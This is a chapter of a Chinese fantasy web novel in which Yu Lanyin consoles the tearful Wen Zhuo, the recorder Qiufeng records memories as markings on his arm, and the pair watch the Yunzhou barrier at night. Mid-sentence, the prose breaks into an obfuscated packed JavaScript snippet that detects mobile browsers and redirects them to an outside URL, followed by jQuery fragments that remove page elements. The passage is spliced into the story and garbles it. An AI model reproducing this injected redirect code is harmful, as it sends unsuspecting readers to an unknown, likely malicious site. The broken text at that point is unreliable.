44.青纹

作品:《药郎

    潮湿的掌心着了风,有些凉。


    温卓是个鲜少哭的人,玉阑音见过最多的恐怕也只是他情绪激动之时红了的眼眶。


    玉阑音不受控地回忆起,上次见他掉金豆豆是什么时候来着?


    哦,记起来了。


    是那年札布萨,篝火大会的晚上,我发了高热,这小孩眼泪扑簌簌不要钱地掉。


    玉阑音看着温卓柔软地发旋,极轻地眨眨眼。


    居然都是因为我啊。


    不过没等玉阑音发呆许久,他掌心的一片湿润已经蒸干了。


    随后温卓摘下了他的手。


    温卓此时的面色如常。


    他低垂着眸子,仿佛刚才的眼泪只是两人默契的错觉。


    秋风和伯让作为后室的主人,罕见地有眼力见地没有作声。


    元宿央则是静静地看着玉阑音,时不时看看温卓。


    元宿央作为玄天门少掌门,又与玉阑音私交甚密,自然是很早就知道这云州结界的秘密。


    可方才书卷里的十方宗的往事,哪怕是元宿央,也是第一次真切地亲眼见到。


    他看着玉阑音温顺无措的眉眼,顿感一阵与温卓不谋而合的心疼。


    此刻温卓捉下玉阑音的手未松,他看向玉阑音,道:“疼不疼?”


    玉阑音一怔忪,“什么?”


    温卓没再重复,他只摇摇头,似乎是不愿再语。


    玉阑音默默在心里将这话又滚了两圈。


    他甚至没有搞清楚温卓究竟在问什么疼不疼,自然更是拿不准温卓如此说的用意。


    他好生琢磨一阵仍旧未果,只得叹口气,勾勾温卓的手指,“有一点吧,太久了。记不清了。”


    温卓的呼吸骤然一颤。


    也不知是因为心疼,还是只因为玉阑音突如其来的撒娇。


    玉阑音这人很别扭,也不知怎么的,见到别人如此在乎自己总会觉得歉疚。


    他看了会儿温卓,只能徒劳地安抚地拍了拍他的手背,轻声细语地道:“好了,都过去了,我现在不是好好的吗。”


    好好的?


    你管你这副活不活死不死的样子叫好好的?


    温卓看着玉阑音仿佛在说“昨天吃了两个肉包子”的语气,胸中气结,但是又心疼地一句重话都说不出口。


    温卓直直看着玉阑音的眼眸,仿佛已经淹没到他眼眸湾水的最深处。


    他将哭不哭,“阑音,你那时候明明……”也只是个孩子啊。


    温卓并没有将未竟的话说完,咬了咬唇,止了声。


    不过玉阑音似乎也听懂了。


    而且似乎也没有为温卓这“大不敬”之语气恼。


    他弯弯眼睛一笑,“但我现在不是了。你才是。”


    “发生过了的便已经是发生了,不必记挂。”玉阑音笑着屈指一敲温卓的额头,“你啊,小孩子就是小孩子。”


    温卓皱起了眉。


    他不喜欢玉阑音忽然言之凿凿的模样,实则借机向他灌输一些歪七扭八的歪理。


    温卓道:“这不对。”


    方才还道貌岸然的玉阑音被这直白的话堵得一愣。


    可温卓只是摇摇头,再没开口。


    整个后室忽然安静下来,氛围有些沉重。


    最终是玉阑音佯装洒脱地笑起来,同秋风搭话:“秋风,你那时候不是说要找我记录千年之战的事情?”


    秋风看完了书卷里的记忆,一直有点不自觉地发呆,忽然被点到名字吓得一抖。


    他猛地回神答道:“是的,是的,真人。”


    玉阑音被他的一惊一乍逗得一笑,“现在可以吗?”


    秋风闻言连连“哦哦”了几声,一边小跑着到玉阑音身边,“可以的,可以。”


    秋风利利索索撩起了他右臂的兽皮长袖,露出他遍布着黑色纹路的小臂。兽衣之上挂着的玛瑙兽牙,随着他的动作撞得啪啦作响。


    秋风右手食指一触眉心,随后平展了右手掌心,口中念了一句听不懂的古语。


    玉阑音看了一会儿秋风额上挂着的红宝石链。


    在秋风抬头看向他的时候,他将右手不轻不重地覆到秋风的手上。


    这时候的秋风再无平日的稀里糊涂之相,他低垂的眼睛沉稳至极,又仿佛是淬了火一般闪烁着虔诚的光斑。


    秋风慢慢闭上了眼。


    载天载地载道,闻人闻界闻心。


    这便是记者。


    这才是记者。


    两人双手触碰之处亮起了了一阵不刺眼的金光,随后那光顺着二人各自的手臂蹴而流转攀爬,紧接着爬至脖颈、脸颊、最后是一双眼睛。


    随后,从两人合掌之处,秋风手臂之上逐渐显现出一道弯曲的浅浅的黑纹,它似是有生命一般盘旋生长,颜色也越来越深。


    忽然,两人眼中的金光无征兆地熄灭,秋风似是被不知名之物一点额头似的一震颤,猛地睁开了双眼。


    那正蜿蜒爬升的深青色纹也随之停驻,混入了秋风满身的纹路之中,再也寻不到了。


    秋风很快便收回了右手,双手合十轻轻一拜,“真人,失礼,失礼。”


    玉阑音好整以暇一笑,“无妨。可是完成了?”


    秋风连忙点头,“嗯,全都记下了。”


    “那很好。”玉阑音拢了拢袖子,道。


    记者,顾名思义,记录之者。


    后室只是记者一族为了历史代代相传而建,而真正的记录传承之物,则是记者其族人本身。


    玉阑音看着秋风收拾好了衣袖,这才施施然转过了头。


    元宿央连忙朝着他使劲眨巴眼,朝温卓方向努了努下巴。


    玉阑音立刻看了一眼面色青白的温卓。


    他叹一口气,到了温卓身边,“多少个时辰没休息了,走吧。”


    作为后室的主人,秋风和伯让像是得了令似的,立刻反应了过来,抓紧领着几人去了客房。


    元宿央选了个离灵泉最近的客房,早早作别了其他人。


    温卓则是一路不发一言地紧跟着玉阑音。


    一直跟进了玉阑音的客房。


    进了屋,玉阑音看了跟屁虫温卓一眼,打趣道:“怎么变成三岁小孩了?要我陪着睡?”


    温卓不说话。


    后室的客房不比玉阑音平日住的地方,屋子小小的,只一张桌子一张椅子一张床,生活用的物件少得可怜。


    但玉阑音是个极度严于律己宽以待人的人,平日虽然挑捡物件的好坏,但仅限于自己。


    此时他来回看了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037449|146057||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    几圈,见屋子还算干净,也没觉着不乐意。


    哪想,他就这么个转头的工夫,在他身后的温卓,也不知道从哪里掏出来了一大堆金的银的毛的玉的家伙事儿,忽然手脚麻利地开始给他铺起床来。


    玉阑音:“……”


    不是,我究竟是给这孩子留了个什么金贵少奶奶的印象?


    不过这也怪不得温卓小题大做。


    温卓原本便宝贝着玉阑音,如今得知了玉阑音被活活剥心,心里酸涩地不知道如何发泄,便只能更拿玉阑音当瓷娃娃太神供着,心里才能舒坦些。


    玉阑音大约也能品出来温卓的想法,只哭笑不得地摇摇头,心里好一阵心软,也没再说些什么。


    温卓手脚很快,替玉阑音收拾好了床铺,什么话也没再多说,甚至是连看玉阑音也没再看,转头离去,并轻轻掩上了玉阑音的房门。


    这搞得玉阑音一时间摸不到头脑。


    这孩子。


    怎么又忽然闹气脾气来了?


    这段日子多亏了温卓渡来的一身灵气,玉阑音身上还算得上舒坦。


    他洗了洗手,对着镜子简单把碍事儿的头发束了起来。


    外头的天色不知道什么时候已经再次暗了下来。


    温卓骤然不围在他身边转来转去,还叫他有点不习惯。


    玉阑音看着窗外树梢上的月亮良久,啧一声,终于抄起外袍便往外走去。


    不过,刚出门,他像是想到了什么,脚步一顿,随即便折返了回来。


    在屋里转悠了一圈,他老老实实拿上了那小暖炉,这才重新出了门。


    后室的客房虽然简陋,但是位置极好,依山傍水。


    一出门,夜里氤氲的大片水汽扑面而来,却并不恼人。


    玉阑音揉揉鼻子,像远处一眺望,便看见不远处的矮山顶上坐着一个人。


    那人穿得黑黑的,头发黑黑的,背打得很直。


    不是温卓又能是谁?


    玉阑音盯着这背影看了会儿,随后才脚步一动,很轻地走近他。


    长袍曳地,途过草地,传来袍边摩挲过新草的窸窣声。


    玉阑音没有刻意压着步子,温卓修为大成,自然是在最一开始便听到了这人的到来。


    直到身后的脚步逐渐逼近,随后玉阑音带着一身药草香的风,在他身边坐下。


    温卓这才略微一偏头,看了他一眼。


    见温卓迟迟不开口,玉阑音终于笑道:“怎么不理我了?”


    温卓转过头,“没有。”


    “当我不知道你?又闹脾气。”玉阑音看着温卓紧绷的一张脸,一哂,“大晚上这是自己坐在这里瞧着这广寒宫这么久,难不成是要进去抱玉兔?”


    温卓:“没有。”


    玉阑音自讨了个没趣,一撇嘴,不说话了。


    温卓看他一眼,思索片刻,“我没有在针对你,别多想。”


    玉阑音:“哦。”


    温卓终于笑了,“元宿央说,云州边境结界会比中原更低。我来看看。”


    玉阑音一怔愣。


    他顺着温卓的目光抬起头。


    树梢之上一轮弯月,弯月之下光斑流转的云州结界。


    温卓痴痴看了一会儿,又道一遍:“我来看看。”